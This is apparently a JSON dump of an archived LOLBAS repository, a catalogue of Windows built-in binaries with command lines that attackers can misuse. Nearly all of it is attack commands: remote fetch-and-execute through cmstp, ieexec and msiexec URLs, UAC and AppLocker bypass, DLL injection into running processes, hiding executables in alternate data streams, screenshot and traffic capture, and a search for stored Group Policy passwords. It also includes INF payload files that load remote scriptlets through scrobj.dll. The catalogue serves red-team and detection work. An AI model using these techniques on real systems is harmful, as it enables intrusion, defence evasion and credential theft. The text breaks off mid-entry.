Cmstp.exe\n* Functions: Execute, UACBypass\n```\n\ncmstp.exe /ni /s c:\\cmstp\\CorpVPN.inf\nSilently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.\n\ncmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf\nSilently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.\n```\n \n* Resources: \n * https://twitter.com/NickTyrer/status/958450014111633408\n * https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80\n * https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e\n * https://oddvar.moe/2017/08/15/research-on-cmstp-exe/\n * https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1 (UAC Bypass)\n * https://github.com/hfiref0x/UACME\n \n* Full path: \n * C:\\Windows\\system32\\cmstp.exe\n * C:\\Windows\\sysWOW64\\cmstp.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe, Nick Tyrer - @NickTyrer \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Control.exe.md", "content": "## Control.exe\n* Functions: Execute, Read ADS\n```\n\ncontrol.exe c:\\windows\\tasks\\file.txt:evil.dll\nExecute evil.dll which is stored in an Alternate Data Stream (ADS).\n```\n \n* Resources: \n * https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/\n * https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/\n * https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/\n * https://twitter.com/bohops/status/955659561008017409\n \n* Full path: \n * C:\\Windows\\system32\\control.exe \n * C:\\Windows\\sysWOW64\\control.exe \n \n* Notes: Thanks to Jimmy - @bohops \n " }, { "path": "Archive-Old-Version/OSBinaries/Csc.exe.md", "content": "## Csc.exe\n* Functions: Compile\n```\n\ncsc -out:My.exe File.cs\nUse CSC.EXE to compile C# code stored in File.cs and output the compiled version to My.exe.\n\ncsc -target:library File.cs\n\n```\n \n* Resources: \n * https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe\n * \n \n* Full path: \n * C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Csc.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe\n \n* Notes: Thanks to ? \n " }, { "path": "Archive-Old-Version/OSBinaries/Cscript.exe.md", "content": "## Cscript.exe\n* Functions: Execute, Read ADS\n```\n\ncscript c:\\ads\\file.txt:script.vbs\nUse cscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS).\n```\n \n* Resources: \n * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\n \n* Full path: \n * c:\\windows\\system32\\cscript.exe\n * c:\\windows\\sysWOW64\\cscript.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n " }, { "path": "Archive-Old-Version/OSBinaries/Dfsvc.exe.md", "content": "## Dfsvc.exe\n* Functions: Execute\n```\n\nMissing Example\n\n```\n \n* Resources: \n * https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf\n \n* Full path: \n * C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe \n * C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe \n * C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe \n * C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Dfsvc.exe \n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Diskshadow.exe.md", "content": "## Diskshadow.exe\n* Functions: Execute, Dump NTDS.dit\n```\n\ndiskshadow.exe /s c:\\test\\diskshadow.txt\nExecute commands using diskshadow.exe from a prepared diskshadow script.\n\ndiskshadow> exec calc.exe\nExecute a calc.exe using diskshadow.exe.\n```\n \n* Resources: \n * https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/\n \n* Full path: \n * c:\\windows\\system32\\diskshadow.exe\n * c:\\windows\\sysWOW64\\diskshadow.exe\n \n* Notes: Thanks to Jimmy - @bohops \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Dnscmd.exe.md", "content": "## Dnscmd.exe\n* Functions: Execute\n```\n\ndnscmd.exe dc1.lab.int /config /serverlevelplugindll \\\\192.168.0.149\\dll\\wtf.dll\nAdds a specially crafted DLL as a plug-in of the DNS Service.\n```\n \n* Resources: \n * https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83\n * https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html\n * https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp\n * https://twitter.com/Hexacorn/status/994000792628719618\n * http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html\n \n* Full path: \n * c:\\windows\\system32\\Dnscmd.exe\n * c:\\windows\\sysWOW64\\Dnscmd.exe\n \n* Notes: This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the refference links for DLL details.\nThanks to Shay Ber - ?,\nDimitrios Slamaris - @dim0x69,\nNikhil SamratAshok,\nMittal - @nikhil_mitt\n \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Esentutl.exe.md", "content": "## Esentutl.exe\n* Functions: Copy, Download, Write ADS, Read ADS\n```\n\nesentutl.exe /y C:\\folder\\sourcefile.vbs /d C:\\folder\\destfile.vbs /o\nCopies the source VBS file to the destination VBS file.\n\nesentutl.exe /y C:\\ADS\\file.exe /d c:\\ADS\\file.txt:file.exe /o\nCopies the source EXE to an Alternate Data Stream (ADS) of the destination file.\n\nesentutl.exe /y C:\\ADS\\file.txt:file.exe /d c:\\ADS\\file.exe /o\nCopies the source Alternate Data Stream (ADS) to the destination EXE.\n\nesentutl.exe /y \\\\82.221.113.85\\webdav\\file.exe /d c:\\ADS\\file.txt:file.exe /o\nCopies the source EXE to the destination Alternate Data Stream (ADS) of the destination file.\n\nesentutl.exe /y \\\\82.221.113.85\\webdav\\file.exe /d c:\\ADS\\file.exe /o\nCopies the source EXE to the destination EXE file.\n\nesentutl.exe /y \\\\live.sysinternals.com\\tools\\adrestore.exe /d \\\\otherwebdavserver\\webdav\\adrestore.exe /o\nCopies the source EXE to the destination EXE file\n```\n \n* Resources: \n * https://twitter.com/egre55/status/985994639202283520\n \n* Full path: \n * c:\\windows\\system32\\esentutl.exe\n * c:\\windows\\sysWOW64\\esentutl.exe\n \n* Notes: Thanks to egre55 - @egre55 \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Expand.exe.md", "content": "## Expand.exe\n* Functions: Download, Copy, Add ADS\n```\n\nexpand \\\\webdav\\folder\\file.bat c:\\ADS\\file.bat\nCopies source file to destination.\n\nexpand c:\\ADS\\file1.bat c:\\ADS\\file2.bat\nCopies source file to destination.\n\nexpand \\\\webdav\\folder\\file.bat c:\\ADS\\file.txt:file.bat\nCopies source file to destination Alternate Data Stream (ADS).\n```\n \n* Resources: \n * https://twitter.com/infosecn1nja/status/986628482858807297\n * https://twitter.com/Oddvarmoe/status/986709068759949319\n \n* Full path: \n * c:\\windows\\system32\\Expand.exe\n * c:\\windows\\sysWOW64\\Expand.exe\n \n* Notes: Thanks to Rahmat Nurfauzi - @infosecn1nja, Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Explorer.exe.md", "content": "## Explorer.exe\n* Functions: Execute\n```\n\nexplorer.exe calc.exe\nExecutes calc.exe as a subprocess of explorer.exe.\n```\n \n* Resources: \n * https://twitter.com/bohops/status/986984122563391488\n \n* Full path: \n * c:\\windows\\explorer.exe\n * c:\\windows\\sysWOW64\\explorer.exe\n \n* Notes: Thanks to Jimmy - @bohops \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Extexport.exe.md", "content": "## Extexport.exe\n* Functions: Execute\n```\n\nExtexport.exe c:\\test foo bar\nLoad a DLL located in the c:\\\\test folder with one of the following names: mozcrt19.dll, mozsqlite3.dll, or sqlite.dll\n```\n \n* Resources: \n * http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/\n \n* Full path: \n * C:\\Program Files\\Internet Explorer\\Extexport.exe \n * C:\\Program Files\\Internet Explorer(x86)\\Extexport.exe\n \n* Notes: Thanks to Adam - @hexacorn \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Extrac32.exe.md", "content": "## Extrac32.exe\n* Functions: Add ADS, Download\n```\n\nextrac32 C:\\ADS\\procexp.cab c:\\ADS\\file.txt:procexp.exe\nExtracts the source CAB file into an Alternate Data Stream (ADS) of the target file.\n\nextrac32 \\\\webdavserver\\webdav\\file.cab c:\\ADS\\file.txt:file.exe\nExtracts the source CAB file into an Alternate Data Stream (ADS) of the target file.\n\nextrac32 /Y /C \\\\webdavserver\\share\\test.txt C:\\folder\\test.txt\nCopy the source file to the destination file and overwrite it.\n```\n \n* Resources: \n * https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/\n * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n * https://twitter.com/egre55/status/985994639202283520\n \n* Full path: \n * c:\\windows\\system32\\extrac32.exe\n * c:\\windows\\sysWOW64\\extrac32.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe, egre55 - @egre55 \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Findstr.exe.md", "content": "## Findstr.exe\n* Functions: Add ADS, Search\n```\n\nfindstr /V /L W3AllLov3DonaldTrump c:\\ADS\\file.exe > c:\\ADS\\file.txt:file.exe\nSearches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.\n\nfindstr /V /L W3AllLov3DonaldTrump \\\\webdavserver\\folder\\file.exe > c:\\ADS\\file.txt:file.exe\nSearches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.\n\nfindstr /S /I cpassword \\\\\\sysvol\\\\policies\\*.xml\nSearch for stored password in Group Policy files stored on SYSVOL.\n```\n \n* Resources: \n * https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/\n * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n \n* Full path: \n * c:\\windows\\system32\\findstr.exe\n * c:\\windows\\sysWOW64\\findstr.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Forfiles.exe.md", "content": "## Forfiles.exe\n* Functions: Execute, Read ADS\n```\n\nforfiles /p c:\\windows\\system32 /m notepad.exe /c calc.exe\nExecutes calc.exe since there is a match for notepad.exe in the c:\\\\windows\\\\System32 folder.\n\nforfiles /p c:\\windows\\system32 /m notepad.exe /c \"c:\\folder\\normal.dll:evil.exe\"\nExecutes the evil.exe Alternate Data Stream (AD) since there is a match for notepad.exe in the c:\\\\windows\\\\system32 folder.\n```\n \n* Resources: \n * https://twitter.com/vector_sec/status/896049052642533376\n * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\n \n* Full path: \n * C:\\Windows\\system32\\forfiles.exe\n * C:\\Windows\\sysWOW64\\forfiles.exe\n \n* Notes: Thanks to Eric - @vector_sec, Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Gpscript.exe.md", "content": "## Gpscript.exe\n* Functions: Execute\n```\n\nGpscript /logon\nExecutes logon scripts configured in Group Policy.\n\nGpscript /startup\nExecutes startup scripts configured in Group Policy.\n```\n \n* Resources: \n * https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/\n \n* Full path: \n * c:\\windows\\system32\\gpscript.exe\n * c:\\windows\\sysWOW64\\gpscript.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe\nRequires administrative rights and modifications to local group policy settings.\n \n \n" }, { "path": "Archive-Old-Version/OSBinaries/IEExec.exe.md", "content": "## IEExec.exe\n* Functions: Execute\n```\n\nieexec.exe http://x.x.x.x:8080/bypass.exe\nExecutes bypass.exe from the remote server.\n```\n \n* Resources: \n * https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/\n \n* Full path: \n * c:\\windows\\system32\\ieexec.exe\n * c:\\windows\\sysWOW64\\ieexec.exe\n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Ie4unit.exe.md", "content": "## Ie4unit.exe\n* Functions: Execute\n```\n\nie4unit.exe -BaseSettings\nExecutes commands from a specially prepared ie4uinit.inf file.\n```\n \n* Resources: \n * https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\n \n* Full path: \n * c:\\windows\\system32\\ie4unit.exe \n * c:\\windows\\sysWOW64\\ie4unit.exe \n * c:\\windows\\system32\\ieuinit.inf \n * c:\\windows\\sysWOW64\\ieuinit.inf \n \n* Notes: Thanks to Jimmy - @bohops \n \n" }, { "path": "Archive-Old-Version/OSBinaries/InfDefaultInstall.exe.md", "content": "## InfDefaultInstall.exe\n* Functions: Execute\n```\n\nInfDefaultInstall.exe Infdefaultinstall.inf\nExecutes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.\n```\n \n* Resources: \n * https://twitter.com/KyleHanslovan/status/911997635455852544\n * https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a\n * https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/\n \n* Full path: \n * c:\\windows\\system32\\Infdefaultinstall.exe\n * c:\\windows\\sysWOW64\\Infdefaultinstall.exe\n \n* Notes: Thanks to Kyle Hanslovan - @kylehanslovan \n \n" }, { "path": "Archive-Old-Version/OSBinaries/InstallUtil.exe.md", "content": "## InstallUtil.exe\n* Functions: Execute\n```\n\nInstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll\nExecute the target .NET DLL or EXE.\n```\n \n* Resources: \n * https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/\n * https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12\n * http://subt0x10.blogspot.no/2017/09/banned-file-execution-via.html\n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/InstallUtil.md\n * https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/\n * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n \n* Full path: \n * C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe\n * C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe\n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Makecab.exe.md", "content": "## Makecab.exe\n* Functions: Package, Add ADS, Download\n```\n\nmakecab c:\\ADS\\autoruns.exe c:\\ADS\\cabtest.txt:autoruns.cab\nCompresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.\n\nmakecab \\\\webdavserver\\webdav\\file.exe C:\\Folder\\file.cab\nCompresses the target file and stores it in the target file.\n\nmakecab \\\\webdavserver\\webdav\\file.exe C:\\Folder\\file.txt:file.cab\nCompresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.\n```\n \n* Resources: \n * https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n \n* Full path: \n * c:\\windows\\system32\\makecab.exe\n * c:\\windows\\sysWOW64\\makecab.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Mavinject.exe.md", "content": "## Mavinject.exe\n* Functions: Execute, Read ADS\n```\n\nMavInject.exe 3110 /INJECTRUNNING c:\\folder\\evil.dll\nInject evil.dll into a process with PID 3110.\n\nMavinject.exe 4172 /INJECTRUNNING \"c:\\ads\\file.txt:file.dll\"\nInject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172.\n```\n \n* Resources: \n * https://twitter.com/gN3mes1s/status/941315826107510784\n * https://twitter.com/Hexcorn/status/776122138063409152\n * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\n \n* Full path: \n * C:\\Windows\\System32\\mavinject.exe\n * C:\\Windows\\SysWOW64\\mavinject.exe\n \n* Notes: Thanks to Giuseppe N3mes1s - @gN3mes1s, Adam - @hexacorn, Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Microsoft.Wrokflow.Compiler.xml", "content": "\n\n\nMicrosoft.Workflow.Compiler.xoml\n\n\n\n\n\n\n\nfalse\ntrue\nfalse\n\n\n\n\nfalse\n-1\n\nfalse\nfalse\n\nfalse\nCSharp\n\n\n\n\n\n\n" }, { "path": "Archive-Old-Version/OSBinaries/Microsoft.Wrokflow.Compiler.xoml", "content": "\n \n \n\n" }, { "path": "Archive-Old-Version/OSBinaries/Msbuild.exe.md", "content": "## Msbuild.exe\n* Functions: Execute\n```\n\nmsbuild.exe pshell.xml\nBuild and execute a C# project stored in the target XML file.\n\nmsbuild.exe Msbuild.csproj\nBuild and execute a C# project stored in the target CSPROJ file.\n```\n \n* Resources: \n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Trusted_Developer_Utilities.md\n * https://github.com/Cn33liz/MSBuildShell\n * https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/\n * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/\n \n* Full path: \n * C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Msbuild.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Msbuild.exe\n * C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Msbuild.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\Msbuild.exe\n * C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Msbuild.exe\n * C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Msbuild.exe\n \n* Notes: Thanks to Casey Smith - @subtee, Cn33liz - @Cneelis \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Msconfig.exe.md", "content": "## Msconfig.exe\n* Functions: Execute\n```\n\nMsconfig.exe -5\nExecutes command embeded in crafted c:\\windows\\system32\\mscfgtlc.xml.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/991314564896690177\n \n* Full path: \n * c:\\windows\\system32\\msconfig.exe\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken\nSee the Payloads folder for an example mscfgtlc.xml file.\n \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Msdt.exe.md", "content": "## Msdt.exe\n* Functions: Execute\n```\n\nOpen .diagcab package\n\n\nmsdt.exe -path C:\\WINDOWS\\diagnostics\\index\\PCWDiagnostic.xml -af C:\\PCW8E57.xml /skip TRUE\nExecutes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.\n```\n \n* Resources: \n * https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/\n * https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/\n * https://twitter.com/harr0ey/status/991338229952598016\n \n* Full path: \n * C:\\Windows\\System32\\Msdt.exe \n * C:\\Windows\\SysWOW64\\Msdt.exe \n \n* Notes: Thanks to:\nSee the Payloads folder for an example PCW8E57.xml file.\n \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Msiexec.exe.md", "content": "## Msiexec.exe\n* Functions: Execute\n```\n\nmsiexec /quiet /i cmd.msi\nInstalls the target .MSI file silently.\n\nmsiexec /q /i http://192.168.100.3/tmp/cmd.png\nInstalls the target remote & renamed .MSI file silently.\n\nmsiexec /y \"C:\\folder\\evil.dll\"\nCalls DLLRegisterServer to register the target DLL.\n\nmsiexec /z \"C:\\folder\\evil.dll\"\nCalls DLLRegisterServer to un-register the target DLL.\n```\n \n* Resources: \n * https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/\n * https://twitter.com/PhilipTsukerman/status/992021361106268161\n \n* Full path: \n * c:\\windows\\system32\\msiexec.exe\n * c:\\windows\\sysWOW64\\msiexec.exe\n \n* Notes: Thanks to ? - @netbiosX, PhilipTsukerman - @PhilipTsukerman \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Netsh.exe.md", "content": "## Netsh.exe\n* Functions: Execute, Surveillance\n```\n\nnetsh.exe trace start capture=yes filemode=append persistent=yes tracefile=\\\\server\\share\\file.etl IPv4.Address=!()\nnetsh.exe trace show status\n\nCapture network traffic on remote file share.\n\nnetsh.exe add helper C:\\Path\\file.dll\nLoad (execute) NetSh.exe helper DLL file.\n\nnetsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1\nForward traffic from the listening address and proxy to a remote system.\n```\n \n* Resources: \n * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Persistence/Netsh_Helper_DLL.md\n * https://attack.mitre.org/wiki/Technique/T1128\n * https://twitter.com/teemuluotio/status/990532938952527873\n \n* Full path: \n * C:\\Windows\\System32\n * C:\\Windows\\SysWOW64\n \n* Notes: \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Nltest.exe.md", "content": "## Nltest.exe\n* Functions: Credentials\n```\n\nnltest.exe /SERVER:192.168.1.10 /QUERY\n\n```\n \n* Resources: \n * https://twitter.com/sysopfb/status/986799053668139009\n * https://ss64.com/nt/nltest.html\n \n* Full path: \n * c:\\windows\\system32\\nltest.exe\n \n* Notes: Thanks to Sysopfb - @sysopfb \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Openwith.exe.md", "content": "## Openwith.exe\n* Functions: Execute\n```\n\nOpenWith.exe /c C:\\test.hta\nOpens the target file with the default application.\n\nOpenWith.exe /c C:\\testing.msi\nOpens the target file with the default application.\n```\n \n* Resources: \n * https://twitter.com/harr0ey/status/991670870384021504\n \n* Full path: \n * c:\\windows\\system32\\Openwith.exe\n * c:\\windows\\sysWOW64\\Openwith.exe\n \n* Notes: Thanks to Matt harr0ey - @harr0ey \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Cmstp.inf", "content": "[version]\nSignature=$chicago$\nAdvancedINF=2.5\n\n[DefaultInstall_SingleUser]\nUnRegisterOCXs=UnRegisterOCXSection\n\n[UnRegisterOCXSection]\n%11%\\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp_calc.sct\n\n[Strings]\nAppAct = \"SOFTWARE\\Microsoft\\Connection Manager\"\nServiceName=\"Yay\"\nShortSvcName=\"Yay\"" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Cmstp_calc.sct", "content": "\n\n\n\t\n\n\t\n\t\n\t\n\t\n\t\n \t\n\t\n\n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Evil.xbap", "content": "private void Button_click(object sender, RoutedEventArgs e)\n{\n\tif (RadioButton1.IsChecked == true)\n\t{\n\t\tProcess.Start(\"C:\\\\poc\\\\evil.exe\");\n\t\tMessageBox.Show(\"BHello.\");\n\t}\n}\n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Infdefaultinstall.inf", "content": "[Version] \nSignature=$CHICAGO$\n\n[DefaultInstall]\nUnregisterDlls = Squiblydoo\n\n[Squiblydoo]\n11,,scrobj.dll,2,60,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Infdefaultinstall_calc.sct" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Infdefaultinstall_calc.sct", "content": "\n\n\n\t\n\t\n\t\n\n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Msbuild.csproj", "content": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\t\n\t\n\t\n\t\t\t\n \n \n \n \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Mshta_calc.sct", "content": "\n\n\n\n\n\t\n\t\n\t\n\t\n\t\n\n\n\t\n\t\n\n\n\n \n\n\n\n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/PCW8E57.xml", "content": "\n\n\n\t\n\t\tContextMenu\n\t\n\t\n\t\tNotListed\n\t\n\t\n\t\tC:\\Windows\\assembly\\Exec-Execute.msi\n\t\n\n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Regsvr32_calc.sct", "content": "\n\n\n\t\n\n\t\n\t\n\t\n\t\n\t\n \t\n\t\n\n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/Wmic_calc.xsl", "content": "\n\n\n\t\n\t \n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/file.rsp", "content": "REGSVR evil.dll\n" }, { "path": "Archive-Old-Version/OSBinaries/Payload/mscfgtlc.xml", "content": "\n\n\" ADV_OPT=\"-command calc.exe\" HELP=\"LOLBin MSCONFIGTOOLS\"/>\n\n" }, { "path": "Archive-Old-Version/OSBinaries/Pcalua.exe.md", "content": "## Pcalua.exe\n* Functions: Execute\n```\n\npcalua.exe -a calc.exe\nOpen the target .EXE using the Program Compatibility Assistant.\n\npcalua.exe -a \\\\server\\payload.dll\nOpen the target .DLL file with the Program Compatibilty Assistant.\n\npcalua.exe -a C:\\Windows\\system32\\javacpl.cpl -c Java\nOpen the target .CPL file with the Program Compatibility Assistant.\n```\n \n* Resources: \n * https://twitter.com/KyleHanslovan/status/912659279806640128\n \n* Full path: \n * c:\\windows\\system32\\pcalua.exe\n \n* Notes: Thanks to:\nfab - @0rbz_\nKyle Hanslovan - @KyleHanslovan\n \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Pcwrun.exe.md", "content": "## Pcwrun.exe\n* Functions: Execute\n```\n\nPcwrun.exe c:\\temp\\beacon.exe\nOpen the target .EXE file with the Program Compatibility Wizard.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/991335019833708544\n \n* Full path: \n * c:\\windows\\system32\\pcwrun.exe\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Powershell.exe.md", "content": "## Powershell.exe\n* Functions: Execute, Read ADS\n```\n\npowershell -ep bypass - < c:\\temp:ttt\nExecute the encoded PowerShell command stored in an Alternate Data Stream (ADS).\n```\n \n* Resources: \n * https://twitter.com/Moriarty_Meng/status/984380793383370752\n \n* Full path: \n * C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\n * C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n \n* Notes: Thanks to Moriarty - @Moriarty_Meng \n \n" }, { "path": "Archive-Old-Version/OSBinaries/PresentationHost.exe.md", "content": "## PresentationHost.exe\n* Functions: Execute\n```\n\nPresentationhost.exe C:\\temp\\Evil.xbap\nExecutes the target XAML Browser Application (XBAP) file.\n```\n \n* Resources: \n * https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf\n * https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/\n \n* Full path: \n * c:\\windows\\system32\\PresentationHost.exe \n * c:\\windows\\sysWOW64\\PresentationHost.exe \n \n* Notes: Thanks to Casey Smith - @subtee \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Print.exe.md", "content": "## Print.exe\n* Functions: Download, Copy, Add ADS\n```\n\nprint /D:C:\\ADS\\File.txt:file.exe C:\\ADS\\File.exe\nCopy file.exe into the Alternate Data Stream (ADS) of file.txt.\n\nprint /D:C:\\ADS\\CopyOfFile.exe C:\\ADS\\FileToCopy.exe\nCopy FileToCopy.exe to the target C:\\ADS\\CopyOfFile.exe\n\nprint /D:C:\\OutFolder\\outfile.exe \\\\WebDavServer\\Folder\\File.exe\nCopy File.exe from a network share to the target c:\\OutFolder\\outfile.exe.\n```\n \n* Resources: \n * https://twitter.com/Oddvarmoe/status/985518877076541440\n * https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410\n \n* Full path: \n * C:\\Windows\\System32\\print.exe\n * C:\\Windows\\SysWOW64\\print.exe\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OSBinaries/Psr.exe.md", "content": "## Psr.exe\n* Functions: Surveillance\n```\n\npsr.exe /start /gui 0 /output c:\\users\\user\\out.zip\nCapture screenshots of the desktop and save them in the target .ZIP file.\n\npsr.exe /start /maxsc 100 /gui 0 /output c:\\users\\user\\out.zip\nCapture a maximum of 100 screenshots of the desktop and save them in the target .ZIP file.\n\npsr.exe /stop\nStop the Problem Step Recorder.\n```\n \n* Resources: \n * https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf\n \n* Full path: \n * 